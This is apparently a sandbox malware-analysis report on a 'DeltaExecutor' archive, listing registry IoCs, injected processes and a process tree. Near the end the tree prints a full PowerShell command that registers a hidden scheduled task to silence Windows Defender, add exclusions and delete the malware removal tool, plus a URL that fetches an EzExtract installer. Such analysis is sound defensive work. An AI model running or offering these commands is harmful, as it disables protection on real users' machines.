Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs	DrvInst.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2E	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	DrvInst.exe

Modifies registry class 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jar\shellex\ContextMenuHandlers\{3D983473-BB31-4609-9F85-3A93CE453FC7}\ = "EzExtractPro Context Menu Handler"	regsvr32.exe
Key created	\REGISTRY\MACHINE\Software\Classes\SystemFileAssociations\.lz\shellex\ContextMenuHandlers\{3D983473-BB31-4609-9F85-3A93CE453FC7}	regsvr32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	explorer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shellex\ContextMenuHandlers\7-Zip\ = "{23170F69-40C1-278A-1000-000100020000}"	msiexec.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell	explorer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\.7z\shellex\ContextMenuHandlers\{3D983473-BB31-4609-9F85-3A93CE453FC7}\ = "EzExtractPro Context Menu Handler"	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\.rar\shellex	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\.bz2\shellex	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\.x\shellex\ContextMenuHandlers	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags	explorer.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Folder\shellex\ContextMenuHandlers\7-Zip	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\96F071321C0420722210000010000000\Language = "1033"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\96F071321C0420722210000010000000\AdvertiseFlags = "388"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{3D983473-BB31-4609-9F85-3A93CE453FC7}\InProcServer32\ThreadingModel = "Both"	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\.lzh\shellex\ContextMenuHandlers\{3D983473-BB31-4609-9F85-3A93CE453FC7}	regsvr32.exe
Key created	\REGISTRY\MACHINE\Software\Classes\SystemFileAssociations\.xz\shellex\ContextMenuHandlers\{3D983473-BB31-4609-9F85-3A93CE453FC7}	regsvr32.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Directory\shellex\DragDropHandlers\7-Zip	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0	explorer.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{3D983473-BB31-4609-9F85-3A93CE453FC7}\InProcServer32	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\.bz2\shellex\ContextMenuHandlers\{3D983473-BB31-4609-9F85-3A93CE453FC7}	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\.zst	regsvr32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0 = 7400310000000000e858877b1100557365727300600008000400efbeee3a851ae858877b2a000000e601000000000100000000000000000036000000000055007300650072007300000040007300680065006c006c00330032002e0064006c006c002c002d0032003100380031003300000014000000	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\.zip\shellex\ContextMenuHandlers\{3D983473-BB31-4609-9F85-3A93CE453FC7}	regsvr32.exe
Key created	\REGISTRY\MACHINE\Software\Classes\SystemFileAssociations\.bz2\shellex\ContextMenuHandlers\{3D983473-BB31-4609-9F85-3A93CE453FC7}	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\.bz2	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\.iso\shellex\ContextMenuHandlers\{3D983473-BB31-4609-9F85-3A93CE453FC7}	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\.x	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\96F071321C0420722210000010000000\ProductName = "7-Zip 22.01 (x64 edition)"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\96F071321C0420722210000010000000\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\LPQ313RR\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\.7z\shellex\ContextMenuHandlers	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\.zipx\shellex\ContextMenuHandlers\{3D983473-BB31-4609-9F85-3A93CE453FC7}	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\.bgz	regsvr32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\.xz\shellex\ContextMenuHandlers	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\.tar\shellex\ContextMenuHandlers\{3D983473-BB31-4609-9F85-3A93CE453FC7}	regsvr32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\MRUListEx = 00000000ffffffff	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\96F071321C0420722210000010000000\SourceList\Net	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\WOW6432Node\CLSID\{3D983473-BB31-4609-9F85-3A93CE453FC7}	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\.rar	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\.zip	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\.lz	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\.uue\shellex\ContextMenuHandlers	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\.gz\shellex\ContextMenuHandlers\{3D983473-BB31-4609-9F85-3A93CE453FC7}	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\96F071321C0420722210000010000000\SourceList\Media	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{3D983473-BB31-4609-9F85-3A93CE453FC7}\InProcServer32\ThreadingModel = "Both"	regsvr32.exe
Key created	\REGISTRY\MACHINE\Software\Classes\SystemFileAssociations\.zip\shellex\ContextMenuHandlers\{3D983473-BB31-4609-9F85-3A93CE453FC7}	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\.zip\shellex	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\.xz	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\.x\shellex\ContextMenuHandlers\{3D983473-BB31-4609-9F85-3A93CE453FC7}	regsvr32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\MRUListEx = 00000000ffffffff	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0 = 4c00310000000000e858d080100041646d696e00380008000400efbee858877be858d0802a000000e7010000000003000000000000000000000000000000410064006d0069006e00000014000000	explorer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\.rar\shellex\ContextMenuHandlers\{3D983473-BB31-4609-9F85-3A93CE453FC7}\ = "EzExtractPro Context Menu Handler"	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\.bz2\shellex\ContextMenuHandlers\{3D983473-BB31-4609-9F85-3A93CE453FC7}\ = "EzExtractPro Context Menu Handler"	regsvr32.exe
Key created	\REGISTRY\MACHINE\Software\Classes\SystemFileAssociations\.tar\shellex\ContextMenuHandlers\{3D983473-BB31-4609-9F85-3A93CE453FC7}	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\.zipx\shellex	regsvr32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 = 14001f50e04fd020ea3a6910a2d808002b30309d0000	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 00000000ffffffff	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0	explorer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\*\shellex\ContextMenuHandlers\7-Zip\ = "{23170F69-40C1-278A-1000-000100020000}"	msiexec.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
1980	notepad.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
2192	7zFM.exe
2192	7zFM.exe
2192	7zFM.exe
2192	7zFM.exe
1524	powershell.exe
296	powershell.exe
1896	msiexec.exe
1896	msiexec.exe

Suspicious behavior: GetForegroundWindowSpam 3 IoCs

pid	Process
2192	7zFM.exe
2784	explorer.exe
2400	explorer.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeRestorePrivilege	2192	7zFM.exe
Token: 35	2192	7zFM.exe
Token: SeSecurityPrivilege	2192	7zFM.exe
Token: SeSecurityPrivilege	2192	7zFM.exe
Token: SeSecurityPrivilege	2192	7zFM.exe
Token: SeSecurityPrivilege	2192	7zFM.exe
Token: SeSecurityPrivilege	2192	7zFM.exe
Token: SeSecurityPrivilege	2192	7zFM.exe
Token: SeSecurityPrivilege	2192	7zFM.exe
Token: SeDebugPrivilege	1524	powershell.exe
Token: SeSecurityPrivilege	2408	EzExtractProApp.exe
Token: SeDebugPrivilege	296	powershell.exe
Token: SeShutdownPrivilege	696	msiexec.exe
Token: SeIncreaseQuotaPrivilege	696	msiexec.exe
Token: SeRestorePrivilege	1896	msiexec.exe
Token: SeTakeOwnershipPrivilege	1896	msiexec.exe
Token: SeSecurityPrivilege	1896	msiexec.exe
Token: SeCreateTokenPrivilege	696	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	696	msiexec.exe
Token: SeLockMemoryPrivilege	696	msiexec.exe
Token: SeIncreaseQuotaPrivilege	696	msiexec.exe
Token: SeMachineAccountPrivilege	696	msiexec.exe
Token: SeTcbPrivilege	696	msiexec.exe
Token: SeSecurityPrivilege	696	msiexec.exe
Token: SeTakeOwnershipPrivilege	696	msiexec.exe
Token: SeLoadDriverPrivilege	696	msiexec.exe
Token: SeSystemProfilePrivilege	696	msiexec.exe
Token: SeSystemtimePrivilege	696	msiexec.exe
Token: SeProfSingleProcessPrivilege	696	msiexec.exe
Token: SeIncBasePriorityPrivilege	696	msiexec.exe
Token: SeCreatePagefilePrivilege	696	msiexec.exe
Token: SeCreatePermanentPrivilege	696	msiexec.exe
Token: SeBackupPrivilege	696	msiexec.exe
Token: SeRestorePrivilege	696	msiexec.exe
Token: SeShutdownPrivilege	696	msiexec.exe
Token: SeDebugPrivilege	696	msiexec.exe
Token: SeAuditPrivilege	696	msiexec.exe
Token: SeSystemEnvironmentPrivilege	696	msiexec.exe
Token: SeChangeNotifyPrivilege	696	msiexec.exe
Token: SeRemoteShutdownPrivilege	696	msiexec.exe
Token: SeUndockPrivilege	696	msiexec.exe
Token: SeSyncAgentPrivilege	696	msiexec.exe
Token: SeEnableDelegationPrivilege	696	msiexec.exe
Token: SeManageVolumePrivilege	696	msiexec.exe
Token: SeImpersonatePrivilege	696	msiexec.exe
Token: SeCreateGlobalPrivilege	696	msiexec.exe
Token: SeBackupPrivilege	2868	vssvc.exe
Token: SeRestorePrivilege	2868	vssvc.exe
Token: SeAuditPrivilege	2868	vssvc.exe
Token: SeBackupPrivilege	1896	msiexec.exe
Token: SeRestorePrivilege	1896	msiexec.exe
Token: SeRestorePrivilege	640	DrvInst.exe
Token: SeRestorePrivilege	640	DrvInst.exe
Token: SeRestorePrivilege	640	DrvInst.exe
Token: SeRestorePrivilege	640	DrvInst.exe
Token: SeRestorePrivilege	640	DrvInst.exe
Token: SeRestorePrivilege	640	DrvInst.exe
Token: SeRestorePrivilege	640	DrvInst.exe
Token: SeLoadDriverPrivilege	640	DrvInst.exe
Token: SeLoadDriverPrivilege	640	DrvInst.exe
Token: SeLoadDriverPrivilege	640	DrvInst.exe
Token: SeRestorePrivilege	1896	msiexec.exe
Token: SeTakeOwnershipPrivilege	1896	msiexec.exe
Token: SeRestorePrivilege	1896	msiexec.exe

Suspicious use of FindShellTrayWindow 15 IoCs

pid	Process
2192	7zFM.exe
2192	7zFM.exe
2192	7zFM.exe
2192	7zFM.exe
2192	7zFM.exe
2192	7zFM.exe
2192	7zFM.exe
2192	7zFM.exe
2192	7zFM.exe
108	iexplore.exe
108	iexplore.exe
1152	iexplore.exe
1152	iexplore.exe
696	msiexec.exe
696	msiexec.exe

Suspicious use of SetWindowsHookEx 28 IoCs

pid	Process
108	iexplore.exe
108	iexplore.exe
1548	IEXPLORE.EXE
1548	IEXPLORE.EXE
2300	IEXPLORE.EXE
2300	IEXPLORE.EXE
1548	IEXPLORE.EXE
1548	IEXPLORE.EXE
2784	explorer.exe
2784	explorer.exe
1152	iexplore.exe
1152	iexplore.exe
448	IEXPLORE.EXE
448	IEXPLORE.EXE
772	IEXPLORE.EXE
772	IEXPLORE.EXE
772	IEXPLORE.EXE
772	IEXPLORE.EXE
2400	explorer.exe
2400	explorer.exe
2400	explorer.exe
2400	explorer.exe
2400	explorer.exe
2400	explorer.exe
2400	explorer.exe
2400	explorer.exe
2400	explorer.exe
2400	explorer.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2192 wrote to memory of 2816	2192	7zFM.exe	31
PID 2192 wrote to memory of 2816	2192	7zFM.exe	31
PID 2192 wrote to memory of 2816	2192	7zFM.exe	31
PID 2192 wrote to memory of 2620	2192	7zFM.exe	33
PID 2192 wrote to memory of 2620	2192	7zFM.exe	33
PID 2192 wrote to memory of 2620	2192	7zFM.exe	33
PID 2192 wrote to memory of 2636	2192	7zFM.exe	35
PID 2192 wrote to memory of 2636	2192	7zFM.exe	35
PID 2192 wrote to memory of 2636	2192	7zFM.exe	35
PID 2192 wrote to memory of 2676	2192	7zFM.exe	37
PID 2192 wrote to memory of 2676	2192	7zFM.exe	37
PID 2192 wrote to memory of 2676	2192	7zFM.exe	37
PID 2192 wrote to memory of 2852	2192	7zFM.exe	39
PID 2192 wrote to memory of 2852	2192	7zFM.exe	39
PID 2192 wrote to memory of 2852	2192	7zFM.exe	39
PID 2192 wrote to memory of 1980	2192	7zFM.exe	41
PID 2192 wrote to memory of 1980	2192	7zFM.exe	41
PID 2192 wrote to memory of 1980	2192	7zFM.exe	41
PID 2192 wrote to memory of 1008	2192	7zFM.exe	42
PID 2192 wrote to memory of 1008	2192	7zFM.exe	42
PID 2192 wrote to memory of 1008	2192	7zFM.exe	42
PID 1008 wrote to memory of 108	1008	DeltaExecutor.exe	44
PID 1008 wrote to memory of 108	1008	DeltaExecutor.exe	44
PID 1008 wrote to memory of 108	1008	DeltaExecutor.exe	44
PID 1008 wrote to memory of 1524	1008	DeltaExecutor.exe	45
PID 1008 wrote to memory of 1524	1008	DeltaExecutor.exe	45
PID 1008 wrote to memory of 1524	1008	DeltaExecutor.exe	45
PID 108 wrote to memory of 1548	108	iexplore.exe	47
PID 108 wrote to memory of 1548	108	iexplore.exe	47
PID 108 wrote to memory of 1548	108	iexplore.exe	47
PID 108 wrote to memory of 1548	108	iexplore.exe	47
PID 108 wrote to memory of 2300	108	iexplore.exe	49
PID 108 wrote to memory of 2300	108	iexplore.exe	49
PID 108 wrote to memory of 2300	108	iexplore.exe	49
PID 108 wrote to memory of 2300	108	iexplore.exe	49
PID 108 wrote to memory of 2928	108	iexplore.exe	50
PID 108 wrote to memory of 2928	108	iexplore.exe	50
PID 108 wrote to memory of 2928	108	iexplore.exe	50
PID 108 wrote to memory of 2928	108	iexplore.exe	50
PID 108 wrote to memory of 2928	108	iexplore.exe	50
PID 108 wrote to memory of 2928	108	iexplore.exe	50
PID 108 wrote to memory of 2928	108	iexplore.exe	50
PID 2928 wrote to memory of 1760	2928	EzExtractSetup.exe	52
PID 2928 wrote to memory of 1760	2928	EzExtractSetup.exe	52
PID 2928 wrote to memory of 1760	2928	EzExtractSetup.exe	52
PID 2928 wrote to memory of 1760	2928	EzExtractSetup.exe	52
PID 2928 wrote to memory of 1760	2928	EzExtractSetup.exe	52
PID 2928 wrote to memory of 1760	2928	EzExtractSetup.exe	52
PID 2928 wrote to memory of 1760	2928	EzExtractSetup.exe	52
PID 2928 wrote to memory of 1632	2928	EzExtractSetup.exe	53
PID 2928 wrote to memory of 1632	2928	EzExtractSetup.exe	53
PID 2928 wrote to memory of 1632	2928	EzExtractSetup.exe	53
PID 2928 wrote to memory of 1632	2928	EzExtractSetup.exe	53
PID 2928 wrote to memory of 1632	2928	EzExtractSetup.exe	53
PID 2928 wrote to memory of 1632	2928	EzExtractSetup.exe	53
PID 2928 wrote to memory of 1632	2928	EzExtractSetup.exe	53
PID 1632 wrote to memory of 1496	1632	regsvr32.exe	54
PID 1632 wrote to memory of 1496	1632	regsvr32.exe	54
PID 1632 wrote to memory of 1496	1632	regsvr32.exe	54
PID 1632 wrote to memory of 1496	1632	regsvr32.exe	54
PID 1632 wrote to memory of 1496	1632	regsvr32.exe	54
PID 1632 wrote to memory of 1496	1632	regsvr32.exe	54
PID 1632 wrote to memory of 1496	1632	regsvr32.exe	54
PID 2928 wrote to memory of 600	2928	EzExtractSetup.exe	55

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Program Files\7-Zip\7zFM.exe
"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\DeltaExecutor.zip"
1⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:2192
- C:\Users\Admin\AppData\Local\Temp\7zO098699C6\DeltaExecutor.exe
  "C:\Users\Admin\AppData\Local\Temp\7zO098699C6\DeltaExecutor.exe"
  2⤵
  - Executes dropped EXE
  PID:2816
- C:\Users\Admin\AppData\Local\Temp\7zO0986BA27\DeltaExecutor.exe
  "C:\Users\Admin\AppData\Local\Temp\7zO0986BA27\DeltaExecutor.exe"
  2⤵
  - Executes dropped EXE
  PID:2620
- C:\Users\Admin\AppData\Local\Temp\7zO09805937\DeltaExecutor.exe
  "C:\Users\Admin\AppData\Local\Temp\7zO09805937\DeltaExecutor.exe"
  2⤵
  - Executes dropped EXE
  PID:2636
- C:\Users\Admin\AppData\Local\Temp\DeltaExecutor.exe
  "C:\Users\Admin\AppData\Local\Temp\DeltaExecutor.exe"
  2⤵
  - Executes dropped EXE
  PID:2676
- C:\Users\Admin\AppData\Local\Temp\7zO098626C7\DeltaExecutor.exe
  "C:\Users\Admin\AppData\Local\Temp\7zO098626C7\DeltaExecutor.exe"
  2⤵
  - Executes dropped EXE
  PID:2852
- C:\Windows\notepad.exe
  "C:\Windows\notepad.exe" "C:\Users\Admin\AppData\Local\Temp\DeltaExecutor.zip"
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:1980
- C:\Users\Admin\AppData\Local\Temp\DeltaExecutor.exe
  "C:\Users\Admin\AppData\Local\Temp\DeltaExecutor.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:1008
- - C:\Program Files\Internet Explorer\iexplore.exe
    "C:\Program Files\Internet Explorer\iexplore.exe" https://igk.filexspace.com/getfile/QDJEILD?title=DependencyCore&tracker=erg3
    3⤵
    - Modifies Internet Explorer Phishing Filter
    - Modifies Internet Explorer settings
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:108
  - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:108 CREDAT:275457 /prefetch:2
      4⤵
      System Location Discovery: System Language Discovery
      Modifies Internet Explorer settings
      Suspicious use of SetWindowsHookEx
      PID:1548
  - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:108 CREDAT:472069 /prefetch:2
      4⤵
      System Location Discovery: System Language Discovery
      Modifies Internet Explorer settings
      Suspicious use of SetWindowsHookEx
      PID:2300
  - - C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LPQ313RR\EzExtractSetup.exe
      "C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LPQ313RR\EzExtractSetup.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Drops file in Program Files directory
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2928
    - - C:\Windows\SysWOW64\regsvr32.exe
        
        C:\Windows\system32\regsvr32.exe /s "C:\Program Files (x86)\EzExtractPro\EzExtractProShell32.dll"
        5⤵
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:1760
    - - C:\Windows\SysWOW64\regsvr32.exe
        
        C:\Windows\system32\regsvr32.exe /s "C:\Program Files (x86)\EzExtractPro\EzExtractProShell.dll"
        5⤵
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1632
      - C:\Windows\system32\regsvr32.exe
        
        /s "C:\Program Files (x86)\EzExtractPro\EzExtractProShell.dll"
        6⤵
        Loads dropped DLL
        Modifies registry class
        
        PID:1496
    - - C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe" "C:\Program Files (x86)\EzExtractPro\EzExtractProApp.exe"
        5⤵
        
        PID:600
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -ExecutionPolicy Bypass -Command "Register-ScheduledTask -TaskName MicrosoftConsoleSetup -Action (New-ScheduledTaskAction -Execute cmd -Argument '/c start /min \"\" powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command \"reg add ''HKLM\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications'' /v DisableNotifications /t REG_DWORD /d 1 /f /reg:64; reg add ''HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.Defender.SecurityCenter'' /v Enabled /t REG_DWORD /d 0 /f /reg:64; reg add ''HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths'' /f /reg:64; reg add ''HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths'' /v ''C:\ProgramData'' /d 0 /f /reg:64; wusa /uninstall /kb:890830 /quiet /norestart; Remove-Item -Path ''C:\Windows\System32\mrt.exe'' -Force 